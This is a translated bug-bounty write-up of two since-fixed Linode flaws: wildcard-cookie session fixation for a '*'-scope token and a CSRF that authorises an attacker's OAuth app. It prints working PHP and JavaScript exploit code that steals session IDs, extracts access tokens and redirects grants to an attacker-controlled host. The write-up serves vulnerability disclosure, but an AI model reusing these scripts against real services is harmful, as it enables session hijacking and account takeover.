利用登录授权窃取你的令牌

iso60001  1757天前

22.png

在2018年年中,Linode的Hackerone漏洞悬赏项目吸引了我,因为这个项目很活跃,管理得非常好,但很多漏洞细节并没有公开。我希望能找到漏洞,并对外公开某个漏洞细节。

Linode是一个VPS提供商,而用户购买的VPS将解析为<id>.members.linode.com,而这也给了我灵感,因为这基本上意味着我们能完全控制linode.com的子域,执行任何服务端脚本语言。

了解Linode的身份认证

Linode主要对外提供了4个Web应用:

https://manager.linode.com 经典Linode网站

https://linode.com/community 社区门户

https://login.linode.com OAuth服务器

https://cloud.linode.com 新型Linode网站

当我们完全控制子域时,可以读取任何和.linode.com(cookie被设置为通配符域)有关的cookie,我开始研究https://manager.linode.com中的session/CSRF的cookie,但所有cookie都正确地设置为only manager.linode.com,然后我转移到另一个应用https://linode.com/community,它主要和OAuth相关。

先让我们理解一下认证过程是怎样的。

当点击Login按钮时,会向https://www.linode.com/community/questions/login?next=/community/发送一个GET请求。

33.png

HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:36:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code
Set-Cookie: sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:36:51 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
.....

这个回复中包含以下操作:

  • 设置cookie

sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd,它和state=bce45f7c-6a37-46c7-9ede-c9979c152081令牌相关联,针对的域名为.linode.com

  • 重定向到OAuth页面

https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code

state参数令牌会和之前设置的sessionid进行交叉检查,如果验证成功,响应如下:

HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:04:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: /community/
Set-Cookie: sessionid=qaff7xdtoxxhnc6tds7ym2d7d9lpweci; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:04:02 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
....
  • 接着sessionid会重置,这是社区门户的真实session,此时用户已登录到社区门户。

Exploiting… OAuth + Cookies = ❤

首先我希望从社区门户获取通配符范围的访问令牌。若我们希望绕过CSRF机制登录到社区门户,则需要这个令牌。登录机制会查找sessionid并根据给定的状态令牌交叉验证它。

因为我们还可以设置和.linode.com相关的cookie,所以可以绕过。

相关代码如下:

<?php
echo "<iframe src='https://li859-243.members.linode.com/setcookie.php'></iframe>";
?>
<script>
setTimeout(function(){ document.write("<iframe src='https://li859-243.members.linode.com/stc.php'></iframe>"); }, 6000);
</script>

上述代码仅仅是打开setcookie.php的iframe,然后在6秒后打开stc.php的iframe。

让我们来了解一下什么是setcookie.php

<?php
error_reporting(0);
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_HEADER => 1,
    CURLOPT_URL => 'https://www.linode.com/community/questions/login?next=/community/'
));
$resp = curl_exec($curl);
$headers = [];
$data = explode("\n",$resp);
$headers['status'] = $data[0];
array_shift($data);

foreach($data as $part){
    $middle=explode(": ",$part);
    $headers[trim($middle[0])] = trim($middle[1]);
}

$pattern = '/events%3Amodify/';
$replacement = '*';
$p = preg_replace($pattern, $replacement, $headers['Location'], -1 );

$xf=explode("; ",$headers['Set-Cookie']);

foreach($xf as $part){
    $middle=explode("=",$part);
    $cookie[trim($middle[0])] = trim($middle[1]);
}

$epoch = shell_exec("date --date \"{$cookie['expires']}\" '+%s'");

setcookie("sessionid", $cookie['sessionid'], $epoch, "/", ".linode.com");

curl_close($curl);

header("Location: $p");
?>
  • 从服务器端请求登录端点以获得有效的cookie

  • 从响应中提取所有标头

  • 修改Location,将scopes设置为*

  • 提取Set-Cookie,它由sessionid组成,而sessionid和Location中的状态令牌相关联。

  • 将提取的session设置为用户的session,重定向到修改后Location中的值。

由于sessionid和状态令牌都验证成功,用户将使用*范围的访问令牌登录到社区门户。

此时,一切都准备好了,Linode将针对.linode.com设置合法的session(使用sessionid)。我们可以获取合法的session并使用它登录,而且我们可以直接从页面源码中提取访问令牌。让我们使用stc.php(窃取cookie并提取令牌)来实现自动化。

<?php
$x = $_COOKIE['sessionid'];
echo "Session ID : <b>".$x."</b><br>";
$t = shell_exec("curl https://www.linode.com/community/ -H \"Cookie: sessionid=".$x."\"");
$p = '/notificationsToken.*\"/';
preg_match($p,$t,$token);
echo "Access token with `*` Scope : <b>".substr($token[0], 21)."</b>";
echo "\n\n";
?>

我们只需要从用户会话中获取sessionid,然后从服务器端发出curl请求,使用一些正则表达式来获取访问令牌,就可以对任何资源进行读写调用。

PoC视频如下:

https://youtu.be/rA9YaErTIIw

时间流:

2018年9月30日:初步发现和报告

2018年10月1日:已确认

2018年10月3日:奖励为2000美元

2018年10月4日:已解决

其他利用

再让我们关注一下CSRF机制。

除了https://login.linode.com,其他网站的CSRF看似很安全。

44.png

JWT在session中被设置,这cookie由一个CSRF令牌组成。cookie的作用域并不是任何域,所以我们无法读取它。

用户登录后,用户session会绑定到newsession cookie,但是CSRF令牌保持不变

我们可以从所控制的VPS中设置这个cookie,但是,我想这和浏览器和服务器中的哪个cookie会被首选有关。

在示例中,我设置的cookie首先被服务器读取,因此用户的session被丢弃,要求用户再次登录。但是,即使Linode设置的cookie不位于Path=/,我们也可以添加Path=/login以优先获取我们的cookie,现在任何位于/login/*下的路径都获得必要端点上的首选cookie。以下是HITCON 2019中filedescriptor演讲的一些幻灯片,其中详细解释了这种攻击。

55.png

66.png

所有的授权都是在login.linode.com(OAuth相关)上完成的,因此我想强制用户以通配符来授权我们的客户端应用。

以下是相关的PHP代码。

<?php
// Make request to https://login.linode.com/login
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_HEADER => 1,
    CURLOPT_URL => 'https://login.linode.com/login',
    CURLOPT_HEADER => 1,
    CURLOPT_RETURNTRANSFER => 1
));
$resp = curl_exec($curl);
//Extract Set-Cookie header value
$headers = [];
$data = explode("\n",$resp);
$f = explode("; ", $data[10]);
$session = substr($f[0], 20);
$exp = substr($f[1], 8);
//Set-Cookie 
$epoch = shell_exec("date --date \"{$exp}\" '+%s'");
setcookie("session", $session, $epoch, "/", ".linode.com",true);
curl_close($curl);
//Decode cookies for CSRF-Token and pass it to exp1.php
$b64 = explode(".",$session);
$b64[0] .= "=";
$b = base64_decode($b64[0]);
$xb = explode(",",$b);
$x = substr($xb[2],0,-2);
$csrf = substr($x,14);
header("Location: exp1.php?csrf={$csrf}");



<p><a href="#" id="target" name="x">Exploit</a></p>
<script>
(function() {
      document.getElementById("target").on click = function() {
    x = window.open("https://login.linode.com/login");
    setTimeout(function() {
          x.close();
    document.forms["exploit"].submit(); 
    }, 13000);
return false;
};
})();
</script>
<form method="POST" action="https://login.linode.com/oauth/authorize?client_id=e8ffd152f9d9a85a423b&scope=*&response_type=token&redirect_uri=https://rce.ee/linode-exploit.html" name="exploit" id="exploit">
    <input type="hidden" name="csrf_token" value="<?php echo $_GET['csrf']; ?>">
    <input type="hidden" name="client_id" value="e8ffd152f9d9a85a423b">
    <input type="hidden" name="scope" value="*">
    <input type="hidden" name="redirect_uri" value="https://rce.ee/linode-exploit.html">
    <input type="hidden" name="response_type" value="token">
</form>
  • 从服务器端发出一个请求并获得一个会话JWT

  • 解码并提取CSRF令牌

  • 用获得的JWT设置会话cookie

  • 使用之前的CSRF令牌发出POST请求来对攻击者的OAuth应用进行授权。

77.png

PoC视频如下:

https://youtu.be/O13xCKbe2IE

时间线:

2018年10月13日:发现并报告

2018年10月15日:确认

2018年10月18日:获得750美元奖励,创造性的攻击获得1000美元奖励。

2018年11月14日:漏洞被解决

引用

https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers

https://github.blog/2013-04-09-yummy-cookies-across-domains/

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74

最新评论

昵称
邮箱
提交评论